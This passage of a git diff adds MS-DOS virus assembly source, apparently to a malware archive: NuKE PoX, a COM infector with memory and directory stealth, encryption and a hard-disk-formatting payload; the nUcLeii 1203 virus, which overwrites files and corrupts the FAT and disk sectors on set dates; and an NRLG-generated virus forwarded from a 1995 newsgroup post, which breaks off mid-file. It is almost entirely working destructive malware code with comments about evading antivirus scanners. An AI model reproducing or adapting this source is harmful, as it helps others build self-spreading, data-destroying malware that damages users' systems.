+loc_62: + pop sp + pop ss + pop es + pop ds + pop dx + pop cx + pop bx + pop ax + popf ; Pop flags + retn +sub_14 endp + + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +sub_15 proc near + mov cx,cs:data_28 + mov cs:data_13,cx + mov cx,cs:data_29 + mov cs:data_14,cx + mov cx,cs:data_27 + mov cs:data_15,cx + mov cx,cs:data_26 + mov cs:data_16,cx + push ax + push dx + call sub_10 + sub dx,cs:data_25 + mov word ptr cs:data_12,dx + push ax + push dx + call sub_6 + pop dx + pop ax + mov cs:data_29,dx + mov cs:data_28,ax + pop dx + pop ax + retn +sub_15 endp + + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +sub_16 proc near + add ax,696h + adc dx,0 + push ax + push dx + call sub_10 + sub dx,cs:data_25 + add ax,40h + mov cs:data_26,dx + mov cs:data_27,ax + pop dx + pop ax + retn +sub_16 endp + + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +sub_17 proc near + dec cx + mov cs:data_18,cx + mov cs:data_19,dx + mov ax,4202h + xor cx,cx ; Zero register + xor dx,dx ; Zero register + call sub_2 + mov cx,dx + mov dx,ax + push cx + push dx + sub dx,1Bh + sbb cx,0 + mov ax,4200h + call sub_2 + push cs + pop ds + mov ah,3Fh ; '?' + mov cx,1Bh + mov dx,77Eh + call sub_2 + xor cx,cx ; Zero register + xor dx,dx ; Zero register + mov ax,4200h + call sub_2 + mov ah,40h ; '@' + mov dx,77Eh + mov cx,1Bh + cmp cs:data_21,5A4Dh + je loc_64 ; Jump if equal + mov cx,3 +loc_64: + call sub_2 + pop dx + pop cx + sub dx,696h + sbb cx,0 + mov ax,4200h + call sub_2 + mov ah,40h ; '@' + xor cx,cx ; Zero register + call sub_2 + mov cx,cs:data_18 + mov dx,cs:data_19 + mov ax,5701h + int 21h ; DOS Services ah=function 57h + ; set file date+time, bx=handle + ; cx=time, dx=time + mov ah,3Eh ; '>' + call sub_2 + retn +sub_17 endp + + db 'C:\COMMAND.COM' + db 0 +data_18 dw 0 +data_19 dw 0 + db 00h, 00h,0E9h +data_20 dw 9090h + db 'NuKE PoX V2.1 - Rock Steady' +data_21 dw 0CD90h ; Data table (indexed access) +data_22 dw 20h +data_24 dw 0 + db 0, 0 +data_25 dw 0 + db 0, 0, 0, 0 +data_26 dw 0 +data_27 dw 0 + db 0, 0 +data_28 dw 0 +data_29 dw 0 + db 0, 0, 0 + +seg_a ends + + + + end start diff --git a/MSDOS/Virus.MSDOS.Unknown.npox_1.asm b/MSDOS/Virus.MSDOS.Unknown.npox_1.asm new file mode 100644 index 00000000..643efd0a --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.npox_1.asm @@ -0,0 +1,344 @@ +;*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +;-* (c) Rock Steady, Viral Developments -* +;*- (c) NuKE Software Developement 1991, 1992 *- +;-* Virus: NuKE PoX Version 1.0 (Alias `Mutating Rocko') -* +;*- ~~~~~~ *- +;-* Notes: COM Infector, Hooks Int 9h & Int 21h, Memory Stealthness -* +;*- ~~~~~~ Dir Stealthness (FCB Way), Encrypting Virus (100 different *- +;-* Encrypted Copies of the Virus) -* +;*- Bytes: 609 Bytes Memory: (609 * 2) = 1,218 Bytes *- +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* +crypt_size equ crypt - init_virus ;All that gets Incrypted +virus_size equ last - init_virus ;Size of the Virus +mut1 equ 3 +mut2 equ 1 +mut3 equ 103h +del_code equ 53h ;CTRL-ATL-DEL Key +seg_a segment byte public + assume cs:seg_a, ds:seg_a + org 100h +rocko proc far + +start: jmp init_virus ;+3 bytes +;-*-*-*-*-*-*-*-*-[Start of Virus]*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +init_virus: call decrypt ;Decryption Routine Please ;+3 Bytes + call doit_now ;Doit VirusMan... ;+3 Bytes + ;======== +doit_now: pop bp ;Anything ABOVE THIS LINE 9 Bytes + sub bp,109h ;have to be added to the 100h! This + push ax ;SETs our `Delta Pointer'. + push bx + push cx + push dx ;Save registers + push si + push di + push bp + push es + push ds + + mov ax,0abcdh ;Are we resident Already? + int 21h + cmp bx,0abcdh ;Yupe... Quit Then... + je exit_com + + push cs ;Get CS=DS + pop ds + mov cx,es + + mov ax,3509h ;Hook Int 9 Please... + int 21h + mov word ptr cs:[int9+2][bp],es ;Save Orignal Int 9h + mov word ptr cs:[int9][bp],bx ;Save Orignal Int 9h + + mov ax,3521h ;Some AVs may INTCEPT this Call! + int 21h ;May be better to go Manually... + mov word ptr cs:[int21+2][bp],es ;Save the Int + mov word ptr cs:[int21][bp],bx ;Vector Table + + dec cx ;Get a new Memory block + mov es,cx ;Put it Back to ES + mov bx,es:mut1 + mov dx,virus_size+virus_size ;Size to `Hide' + mov cl,4 ;And all this crap hides + shr dx,cl ;your number of bytes in DX + add dx,4 + mov cx,es + sub bx,dx + inc cx + mov es,cx + mov ah,4ah ;Call int to do it... + int 21h + + jc exit_com + mov ah,48h + dec dx + mov bx,dx ;It's Done... Yeah! + int 21h + + jc exit_com + dec ax + mov es,ax + mov cx,8h ;Here we move our Virus into + mov es:mut2,cx ;the `Hidden' memory! + sub ax,0fh + mov di,mut3 + mov es,ax + mov si,bp + add si,offset init_virus + mov cx,virus_size + cld + repne movsb + + mov ax,2521h ;Restore Int21 with ours + mov dx,offset int21_handler ;Where it starts + push es + pop ds + int 21h + + mov ax,2509h ;Restore Int9 with ours + mov dx,offset int9_handler ;The Handler... + int 21h + + push cs + pop ds +exit_com: + mov bx,offset buffer ; Its a COM file restore + add bx,bp ; First three Bytes... + mov ax,[bx] ; Mov the Byte to AX + mov word ptr ds:[100h],ax ; First two bytes Restored + add bx,2 ; Get the next Byte + mov al,[bx] ; Move the Byte to AL + mov byte ptr ds:[102h],al ; Restore the Last of 3 Byt + pop ds + pop es + pop bp ; Restore Regesters + pop di + pop si + pop dx + pop cx + pop bx + pop ax + mov ax,100h ; Jump Back to Beginning + push ax ; Restores our IP (a CALL + retn ; Saves them, now we change +int21 dd ? ;Our Old Int21 +int9 dd ? ;Our Old Int9 +;-*-*-*-*-*-*-*-*[Int 9h Handler]-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +int9_handler: + push ax + in al,60h ;Has the user attempted a + cmp al,del_code ;CTRL-ALT-DEL + je warm_reboot ;Yes! Screw him +bye_bye: pop ax + jmp dword ptr cs:[int9] ;Nope, Leave alone +warm_reboot: + mov ah,2ah ;Get Date Please + int 21h + cmp dl,18h ;Is it 24th of the Month? + jne bye_bye ;Yes, bye_Bye HD + mov ch,0 +hurt_me: mov ah,05h + mov dh,0 + mov dl,80h ;Formats a few tracks... + int 13h ;Hurts So good... + inc ch + cmp ch,20h + loopne hurt_me + db 0eah,0f0h,0ffh,0ffh,0ffh ;Reboot! + iret +;-*-*-*-*-*-*-*-*-[Dir Stealth Handler]-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +dir_handler: + pushf + push cs + call int21call ;Get file Stats + test al,al ;Good FCB? + jnz no_good ;nope + push ax + push bx + push es + mov ah,51h ;Is this Undocmented? huh... + int 21h + + mov es,bx + cmp bx,es:[16h] + jnz not_infected ;Not for us man... + mov bx,dx + mov al,[bx] + push ax + mov ah,2fh ;Get file DTA + int 21h + + pop ax + inc al + jnz fcb_okay + add bx,7h +fcb_okay: mov ax,es:[bx+17h] + and ax,1fh ;UnMask Seconds Field + xor al,1dh ;Is in 58 seconds? + jnz not_infected ;Nope... + and byte ptr es:[bx+17h],0e0h + sub es:[bx+1dh],virus_size ;Yes minus virus size + sbb es:[bx+1fh],ax +not_infected:pop es + pop bx + pop ax +no_good: iret +;-*-*-*-*-*-*-*-*[Int 21h Handler]*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +int21_handler: + cmp ax,4b00h ;File executed + je execute + cmp ah,11h ;Dir handler + je dir_handler + cmp ah,12h ;Next file Dir handler + je dir_handler + cmp ax,0abcdh ;Virus testing + jne int21call + mov bx,0abcdh +int21call: + jmp dword ptr cs:[int21] ;Split... + ret +execute: + push ax + push bx + push cx + push dx + push si + push di + push es + push ds + + mov ax,4300h ;Get file Attribs + int 21h + jc exit + + test cl,1h ;Make sure there normal + jz open_file ;Okay there are + and cl,0feh ;Nope, Fix them... + mov ax,4301h ;Save them now + int 21h + jc exit + +open_file: mov ax,3D02h + int 21h ;Open File to Infect please + + jc exit ;Error Split + mov bx,ax ;BX File handler + mov ax,5700h ;Get file TIME + DATE + int 21h + + mov al,cl + or cl,1fh ;Un mask Seconds + dec cx ;60 seconds + dec cx ;58 seconds + xor al,cl ;Is it 58 seconds? + jz exit ;File already infected + + push cs + pop ds + mov word ptr ds:[old_time],cx ;Save Time + mov word ptr ds:[old_date],dx ;Save Date + + mov ah,3Fh + mov cx,3h + mov dx,offset ds:[buffer] ;Read first 3 bytes + int 21h + + jc exit_now ;Error Split + mov ax,4202h ;Move file pointer to end + xor cx,cx ;of file... + xor dx,dx + int 21h + + jc exit_now ;Error Split + cmp word ptr cs:[buffer],5A4Dh ;Is file an EXE? + je exit ;Yupe! Split + mov cx,ax + sub cx,3 ;Set the JMP + mov word ptr cs:[jump_address+1],cx + call infect_me ;Infect! + jc exit_now ;error split + mov ah,40h ;Write back the first 3 + mov dx,offset ds:[jump_address] ;bytes + mov cx,3h + int 21h +exit_now: + mov cx,word ptr cs:[old_time] ;Restore old time + mov dx,word ptr cs:[old_date] ;Restore Old date + mov ax,5701h + int 21h + + mov ah,3Eh + int 21h ;Close File now... +exit: + pop ds + pop es + pop di + pop si + pop dx + pop cx + pop bx + pop ax + jmp dword ptr cs:[int21] ;Jmp back to whatever +rocko endp +;-*-*-*-*-*-*-*-*-*[Infection Routine]*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +infect_me proc near + mov ah,2ch ;Get Time + int 21h + push dx ;Split seconds to AX + pop ax + mov byte ptr cs:[value],al ;AL = 0 to 99 + ;New Encryption Value + mov cx,virus_size + push cs + pop es ;Copy ANOTHER copy of the + mov si,offset init_virus ;Virus to the end of us + mov di,offset last + repne movsb + + mov cx,crypt_size + sub cx,3h ;Encrypt that 2nd copy! + push bp + mov bp,offset last + 3h + call decrypt_encrypt + pop bp + + mov ah,40h ;Write the New Encrypted + mov dx,offset last ;Virus to File! + mov cx,virus_size + int 21h + + jc exit_error ;Error Split + mov ax,4200h + xor cx,cx ;Pointer back to beginning + xor dx,dx ;file! + int 21h + + jc exit_error ;Split Dude... + clc ;Clear carry flag + retn +exit_error: + stc ;Set carry flag + retn +infect_me endp +old_time dw ? +old_date dw ? +jump_address db 0E9h,90h,90h +buffer db 90h,0CDh,020h +crypt: +msgs db "(c) Rock Steady/NuKE" ;No other than `Moi'... +;-*-*-*-*[Simple BUT EFFECTIVE Encryption/Decryption Routine]-*-*-*-*-*-*- +decrypt proc near + pop bp + push bp + mov al,byte ptr [value-106h][bp] ;Get new Encryption + mov cx,crypt_size ;Value +decrypt_encrypt: + xor cs:[bp],al ;Fuck Scanners and put a + inc bp ;`NOT AL' anywhere here... + loop decrypt_encrypt + retn +value db 00h ;Encryption value! +decrypt endp +last: +seg_a ends + end start diff --git a/MSDOS/Virus.MSDOS.Unknown.nucleii.1203.asm b/MSDOS/Virus.MSDOS.Unknown.nucleii.1203.asm new file mode 100644 index 00000000..bca946d5 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.nucleii.1203.asm @@ -0,0 +1,317 @@ +;hmm.,.,.,.,without a name.,.,.,., +;this file is much like the 606, only it +;is much more harmful...it has a special suprise +;for three diffrent dates....hehehehe.,.,,..,., +;i had planned to have it in with the other TR- +;series, but this was much to large to add in with.,., +;enjoy!.... +; nUcLeii +; [*v i a*]===[98] + + + +.model tiny +.code + +seg_a segment byte public + ASSUME CS: SEG_A, DS: SEG_A, ES: SEG_A + +filename equ 30 ;find file name +fileattr equ 21 ;find file attributes +filedate equ 24 ;find file date +filetime equ 22 ;fine file time + +org 100h + +main proc +start: + call dirloc + +infect: + mov dx, 100h + mov bx, handle + mov cx, 1203 + mov ah, 40h + int 21h + ret + +dirloc: + mov dx, offset dirdat ;offset to hold new dta + mov ah, 1ah ;set dta address + int 21h + +newdir: + mov ah,19h ;get drive code + int 21h + mov dl, al ;save drive code + inc dl ;add one to dl (functions differ) + mov ah, 47h ;get current directory + mov si, offset currentdir ;buffer to save directory in + int 21h + mov dx, offset daroot ;move dx to change to root + mov ah, 3bh ;change directory to root + int 21h + +find: + mov cx, 13h ;include hidden/ro dir. + mov dx, offset wild ;look for '*' + mov ah, 4eh ;find file + int 21h + cmp ax, 12h ;no file? + jne findmore ;no dir? screw it then. + +wank1: + jmp rollout + +findmore: + mov ah, 4fh ;find next target + int 21h + cmp ax, 12h + je wank ;no more? crew it then. + +keepgoin: + mov dx, offset dirdat+filename ;point dx to fcb-filename + mov ah, 3bh ;change directory + int 21h + mov ah, 2fh ;get current dta address + int 21h + mov [diskdat], es ;save old segment + mov [diskdatofs], bx ;save old offset + mov dx, offset filedat ;offset to hold new dta + mov ah, 1ah ;set dta address + int 21h + +checkit: + mov cx, 07h ;find any attribute + mov dx, offset filetype ;point dx to exe files + mov ah, 4eh ;find first file function + int 21h + cmp ax, 12h ;was it found? + jne change + +nextfile: + mov ah, 4fh ;find next file + int 21h + cmp ax,12h ;none found + jne change ;see what we can do... + mov dx, offset daroot ;dx to change to root directory + mov ah, 3bh + int 21h + mov ah, 1ah ;set dta address + mov ds, [diskdat] ;restore old segment + mov dx, [diskdatofs] ;restore old offset + int 21h + jmp findmore +wank: + jmp rollout + +change: + mov ah, 2fh ;temp. store dta + int 21h + mov [tempseg], es ;save old segment + mov [tempofs], bx ;save old offset + mov dx, offset filedat+filename + mov bx, offset filedat ;save file... + mov ax, [bx]+filedate ;tha date + mov orig_date, ax + mov ax, [bx]+filetime ;tha time + mov orig_time, ax + mov ax, [bx]+fileattr ;tha attributes + mov ax, 4300h + int 21h + mov orig_attr, cx + mov ax, 4301h ;change attributes + xor cx, cx ;clear attributes + int 21h + mov ax, 3d00h ;open file and read + int 21h + jc fixup ;error?..go get another! + mov handle, ax ;save handle + mov ah, 3fh ;read from file + mov bx, handle ;move handle to bx + mov cx, 02h ;read 2 bytes + mov dx, offset idbuffer ;save to buffer + int 21h + mov ah, 3eh ;close it for now + mov bx, handle ;load bx with handle + int 21h + mov bx, idbuffer ;give bx the id string + cmp bx, 02ebh ;are we infected? + jne doit ;hmm...go get another. + +fixup: + mov ah, 1ah ;set dta address + mov ds, [tempseg] ;restore old segment + mov dx, [tempofs] ;restore old offset + int 21h + jmp nextfile + +doit: + mov dx, offset filedat+filename + mov ax, 3d02h ;open victim read/write access + int 21h + mov handle, ax ;save handle + call infect ;do your job... + ;mov ax, 3eh + ;int 21h + +rollout: + mov ax, 5701h ;restore original... + mov bx, handle ;handle + mov cx, orig_time ;time + mov dx, orig_date ;date + int 21h + mov ax, 4301h ;and attributes + mov cx, orig_attr + mov dx, offset filedat+filename + int 21h + ;mov bx, handle + ;mov ax, 3eh ;close em" + ;int 21h + mov ah, 3bh ;try this for speed... + mov dx, offset daroot + int 21h + mov ah, 3bh ;change directory + mov dx, offset currentdir ;back to the original + int 21h + mov ah, 2ah ;check system date + int 21h + cmp cx, 1998 ;hehe..if not then your already + jb getout ;screwed an ill leave ya alone. + cmp dl, 15 ;is it the 15th?...muhahaha + jne goaway ;not?...lucky you. + cmp dl, 19 ;is it the 19th?...muhahaha + je alter_fat ;your gonna have a few crosslinks... + cmp dl, 29 ;is it the 29th?...muhahaha + je ouch ;your screwed,..,.,.,., + mov dx, offset dirdat ;offset to hold new dta + mov ah, 1ah ;set dta address + int 21h + mov ah, 4eh ;find first file + mov cx, 7h + mov dx, offset allfiles ;offset *.* ...hehehe... + jmp rockem + +getout: + call outta + +goaway: + call outta + +rockem: + int 21h + jc goaway ;error? screw it then... + mov ax, 4301h ;find all "normal" files + xor cx, cx + int 21h + mov dx, offset dirdat+filename + mov ah, 3ch ;write to all files in current dir. + int 21h + jc outta ;error? screw it then... + mov ah, 4fh ;find next file + jmp rockem + +ouch: + xor dx, dx ;clear dx + +rip_hd1: + mov cx, 1 ;track 0, sector 1 + mov ax, 311h ;17 secs per track (hopefully!) + mov dl, 80h + mov bx, 5000h + mov es, bx + int 13h ;kill 17 sectors + jae rip_hd2 + xor ah, ah + int 13h ;reset disks if needed +rip_hd2: + inc dh ;increment head number + cmp dh, 4 ;if head number is below 4 then + jb rip_hd1 ;go kill another 17 sectors + inc ch ;increase track number and + jmp ouch ;do it again + +alter_fat: + push dx + push bx + push cx + push ax + push bp ;save regs that will be changed + mov ax, 0dh + int 21h ;reset disk + mov ah, 19h + int 21h ;get default disk + xor dx, dx + call load_sec ;read in the boot record + mov bp, bx + mov bx, word ptr es:[bp+16h] ;find sectors per fat + push ax ;save drive number + call rnd_num ;get random number + cmp bx, ax ;if random number is lower than + jbe alter_fat1 ;secs per fat then jump and kill 'em + mov ax, bx ;else pick final sector of fat +alter_fat1: + + int 26h ;write same data in that fat + pop bp + pop ax + pop cx + pop bx + pop dx + jmp outta + +rnd_num: + push cx + push dx ;save regs that will be changed + xor ax, ax + int 1ah ;get system time + xchg dx, ax ;put lower word into ax + pop dx + pop cx + ret ;restore values and return + +load_sec: + push cx + push ds ;save regs that will be changed + push ax ;save drive number + push cs + pop ds + push cs + pop es ;make es and ds the same as cs + mov ax, 0dh + int 21h ;reset disk + pop ax ;restore drive number + mov cx, 1 + mov bx, offset sec_buf + int 25h ;read sector into buffer + pop ds + pop cx + ret ;restore regs and return + +outta: + mov ax, 4c00h ;end program + int 21h + +words_ db "nUcLeii~ *v. i. a*",0 +words2 db "1200..n0name",0 +allfiles db "*.*",0 +currentdir db 64 dup (?) +daroot db "\",0 +dirdat db 43 dup (?) +diskdat dw ? +diskdatofs dw ? +filedat db 43 dup (?) +filetype db "*.com",0 +handle dw ? +idbuffer dw ? +orig_attr dw ? +orig_date dw ? +orig_time dw ? +sec_buf dw 100h dup(?) +tempofs dw ? +tempseg dw ? +wild db "*",0 + +main endp +seg_a ends +end start diff --git a/MSDOS/Virus.MSDOS.Unknown.nukevir.asm b/MSDOS/Virus.MSDOS.Unknown.nukevir.asm new file mode 100644 index 00000000..8c662c5e --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.nukevir.asm @@ -0,0 +1,483 @@ +From smtp Thu Feb 9 11:43 EST 1995 +Received: from lynx.dac.neu.edu by POBOX.jwu.edu; Thu, 9 Feb 95 11:43 EST +Received: by lynx.dac.neu.edu (8.6.9/8.6.9) + id LAA03601 for joshuaw@pobox.jwu.edu; Thu, 9 Feb 1995 11:34:53 -0500 +Date: Thu, 9 Feb 1995 11:34:53 -0500 +From: lynx.dac.neu.edu!ekilby (Eric Kilby) +Content-Length: 23204 +Content-Type: binary +Message-Id: <199502091634.LAA03601@lynx.dac.neu.edu> +To: pobox.jwu.edu!joshuaw +Subject: (fwd) Re: Not-So-Destructive Virii... +Newsgroups: alt.comp.virus +Status: RO + +Path: chaos.dac.neu.edu!usenet.eel.ufl.edu!usenet.cis.ufl.edu!caen!uwm.edu!news.moneng.mei.com!howland.reston.ans.net!nntp.crl.com!crl.crl.com!not-for-mail +From: yojimbo@crl.com (Douglas Mauldin) +Newsgroups: alt.comp.virus +Subject: Re: Not-So-Destructive Virii... +Date: 6 Feb 1995 21:44:13 -0800 +Organization: CRL Dialup Internet Access (415) 705-6060 [Login: guest] +Lines: 450 +Message-ID: <3h71bd$js1@crl.crl.com> +References: <3h5ubg$4s7@usenet.srv.cis.pitt.edu> +NNTP-Posting-Host: crl.com +X-Newsreader: TIN [version 1.2 PL2] + +; Here's a simple, non-destructive virus created with NRLG (NuKE Randomic +; Life Generator). All it does is display a message on June 6th ( I believe). + +;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +;³ THiS iS a [NuKE] RaNDoMiC LiFe GeNeRaToR ViRuS. ³ [NuKE] PoWeR +;³ CReaTeD iS a N.R.L.G. PRoGRaM V0.66 BeTa TeST VeRSioN ³ [NuKE] WaReZ +;³ auToR: aLL [NuKE] MeMeBeRS ³ [NuKE] PoWeR +;³ [NuKE] THe ReaL PoWeR! ³ [NuKE] WaReZ +;³ NRLG WRiTTeR: AZRAEL (C) [NuKE] 1994 ³ [NuKE] PoWeR +;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ + +.286 +code segment +assume cs:code,ds:code +org 100h + +start: CALL NEXT + +NEXT: + mov di,sp ;take the stack pointer location + mov bp,ss:[di] ;take the "DELTA HANDLE" for my virus + sub bp,offset next ;subtract the large code off this code + ; +;******************************************************************* +; #1 DECRYPT ROUTINE +;******************************************************************* + +cmp byte ptr cs:[crypt],0b9h ;is the first runnig? +je crypt2 ;yes! not decrypt +;---------------------------------------------------------- +mov cx,offset fin ;cx = large of virus +lea di,[offset crypt]+ bp ;di = first byte to decrypt +mov dx,1 ;dx = value for decrypt +;---------------------------------------------------------- +deci: ;deci = fuck label! +;---------------------------------------------------------- + +ÿinc byte ptr [di] +sub word ptr [di],0381h +ÿinc di +inc di +;---------------------------------------------------------- +jmp bye ;######## BYE BYE F-PROT ! ########## +mov ah,4ch +int 21h +bye: ;#### HEY FRIDRIK! IS ONLY A JMP!!### +;----------------------------------------------------------- +mov ah,0bh ;######### BYE BYE TBAV ! ########## +int 21h ;### (CANGE INT AT YOU PLEASURE) ### +;---------------------------------------------------------- +loop deci ;repeat please! + ; +;***************************************************************** +; #2 DECRYPT ROUTINE +;***************************************************************** + ; +crypt: ;fuck label! + ; +mov cx,offset fin ;cx = large of virus +lea di,[offset crypt2] + bp ;di = first byte to decrypt +;--------------------------------------------------------------- +deci2: ; +xor byte ptr cs:[di],1 ;decrytion rutine +inc di ;very simple... +loop deci2 ; +;--------------------------------------------------------------- +crypt2: ;fuck label! + ; +MOV AX,0CACAH ;call to my resident interrup mask +INT 21H ;for chek "I'm is residet?" +CMP Bh,0CAH ;is equal to CACA? +JE PUM2 ;yes! jump to runnig program +call action +;***************************************************************** +; NRLG FUNCTIONS (SELECTABLE) +;***************************************************************** + +ÿcall ANTI_V +;**************************************************************** +; PROCESS TO REMAIN RESIDENT +;**************************************************************** + +mov ax,3521h +int 21h ;store the int 21 vectors +mov word ptr [bp+int21],bx ;in cs:int21 +mov word ptr [bp+int21+2],es ; +;--------------------------------------------------------------- +push cs ; +pop ax ;ax = my actual segment +dec ax ;dec my segment for look my MCB +mov es,ax ; +mov bx,es:[3] ;read the #3 byte of my MCB =total used memory +;--------------------------------------------------------------- +push cs ; +pop es ; +sub bx,(offset fin - offset start + 15)/16 ;subtract the large of my virus +sub bx,17 + offset fin ;and 100H for the PSP total +mov ah,4ah ;used memory +int 21h ;put the new value to MCB +;--------------------------------------------------------------- +mov bx,(offset fin - offset start + 15)/16 + 16 + offset fin +mov ah,48h ; +int 21h ;request the memory to fuck DOS! +;--------------------------------------------------------------- +dec ax ;ax=new segment +mov es,ax ;ax-1= new segment MCB +mov byte ptr es:[1],8 ;put '8' in the segment +;-------------------------------------------------------------- +inc ax ; +mov es,ax ;es = new segment +lea si,[bp + offset start] ;si = start of virus +mov di,100h ;di = 100H (psp position) +mov cx,offset fin - start ;cx = lag of virus +push cs ; +pop ds ;ds = cs +cld ;mov the code +rep movsb ;ds:si >> es:di +;-------------------------------------------------------------- +mov dx,offset virus ;dx = new int21 handler +mov ax,2521h ; +push es ; +pop ds ; +int 21h ;set the vectors +;------------------------------------------------------------- +pum2: ; + ; +mov ah,byte ptr [cs:bp + real] ;restore the 3 +mov byte ptr cs:[100h],ah ;first bytes +mov ax,word ptr [cs:bp + real + 1] ; +mov word ptr cs:[101h],ax ; +;------------------------------------------------------------- +mov ax,100h ; +jmp ax ;jmp to execute + ; +;***************************************************************** +;* HANDLER FOR THE INT 21H +;***************************************************************** + ; +VIRUS: ; + ; +cmp ah,4bh ;is a 4b function? +je REPRODUCCION ;yes! jump to reproduce ! +cmp ah,11h +je dir +cmp ah,12h +je dir +dirsal: +cmp AX,0CACAH ;is ... a caca function? (resident chek) +jne a3 ;no! jump to a3 +mov bh,0cah ;yes! put ca in bh +a3: ; +JMP dword ptr CS:[INT21] ;jmp to original int 21h +ret ; +make db '[NuKE] N.R.L.G. AZRAEL' +dir: +jmp dir_s +;------------------------------------------------------------- +REPRODUCCION: ; + ; +pushf ;put the register +pusha ;in the stack +push si ; +push di ; +push bp ; +push es ; +push ds ; +;------------------------------------------------------------- +push cs ; +pop ds ; +mov ax,3524H ;get the dos error control +int 21h ;interupt +mov word ptr error,es ;and put in cs:error +mov word ptr error+2,bx ; +mov ax,2524H ;change the dos error control +mov dx,offset all ;for my "trap mask" +int 21h ; +;------------------------------------------------------------- +pop ds ; +pop es ;restore the registers +pop bp ; +pop di ; +pop si ; +popa ; +popf ; +;------------------------------------------------------------- +pushf ;put the registers +pusha ; +push si ;HEY! AZRAEL IS CRAZY? +push di ;PUSH, POP, PUSH, POP +push bp ;PLEEEEEAAAAAASEEEEEEEEE +push es ;PURIFY THIS SHIT! +push ds ; +;------------------------------------------------------------- +mov ax,4300h ; +int 21h ;get the file +mov word ptr cs:[attrib],cx ;atributes +;------------------------------------------------------------- +mov ax,4301h ;le saco los atributos al +xor cx,cx ;file +int 21h ; +;------------------------------------------------------------- +mov ax,3d02h ;open the file +int 21h ;for read/write +mov bx,ax ;bx=handle +;------------------------------------------------------------- +mov ax,5700h ; +int 21h ;get the file date +mov word ptr cs:[hora],cx ;put the hour +mov word ptr cs:[dia],dx ;put the day +and cx,word ptr cs:[fecha] ;calculate the seconds +cmp cx,word ptr cs:[fecha] ;is ecual to 58? (DEDICATE TO N-POX) +jne seguir ;yes! the file is infected! +jmp cerrar ; +;------------------------------------------------------------ +seguir: ; +mov ax,4202h ;move the pointer to end +call movedor ;of the file +;------------------------------------------------------------ +push cs ; +pop ds ; +sub ax,3 ;calculate the +mov word ptr [cs:largo],ax ;jmp long +;------------------------------------------------------------- +mov ax,04200h ;move the pointer to +call movedor ;start of file +;---------------------------------------------------------- +push cs ; +pop ds ;read the 3 first bytes +mov ah,3fh ; +mov cx,3 ; +lea dx,[cs:real] ;put the bytes in cs:[real] +int 21h ; +;---------------------------------------------------------- +cmp word ptr cs:[real],05a4dh ;the 2 first bytes = 'MZ' ? +jne er1 ;yes! is a EXE... fuckkk! +;---------------------------------------------------------- +jmp cerrar +er1: +;---------------------------------------------------------- +mov ax,4200h ;move the pointer +call movedor ;to start fo file +;---------------------------------------------------------- +push cs ; +pop ds ; +mov ah,40h ; +mov cx,1 ;write the JMP +lea dx,[cs:jump] ;instruccion in the +int 21h ;fist byte of the file +;---------------------------------------------------------- +mov ah,40h ;write the value of jmp +mov cx,2 ;in the file +lea dx,[cs:largo] ; +int 21h ; +;---------------------------------------------------------- +mov ax,04202h ;move the pointer to +call movedor ;end of file +;---------------------------------------------------------- +push cs ; +pop ds ;move the code +push cs ;of my virus +pop es ;to cs:end+50 +cld ;for encrypt +mov si,100h ; +mov di,offset fin + 50 ; +mov cx,offset fin - 100h ; +rep movsb ; +;---------------------------------------------------------- +mov cx,offset fin +mov di,offset fin + 50 + (offset crypt2 - offset start) ;virus +enc: ; +xor byte ptr cs:[di],1 ;encrypt the virus +inc di ;code +loop enc ; +;--------------------------------------------------------- +mov cx,offset fin +mov di,offset fin + 50 + (offset crypt - offset start) ;virus +mov dx,1 +enc2: ; + +ÿadd word ptr [di],0381h +dec byte ptr [di] +ÿinc di +inc di ;the virus code +loop enc2 ; +;-------------------------------------------- +mov ah,40h ; +mov cx,offset fin - offset start ;copy the virus +mov dx,offset fin + 50 ;to end of file +int 21h ; +;---------------------------------------------------------- +cerrar: ; + ;restore the +mov ax,5701h ;date and time +mov cx,word ptr cs:[hora] ;file +mov dx,word ptr cs:[dia] ; +or cx,word ptr cs:[fecha] ;and mark the seconds +int 21h ; 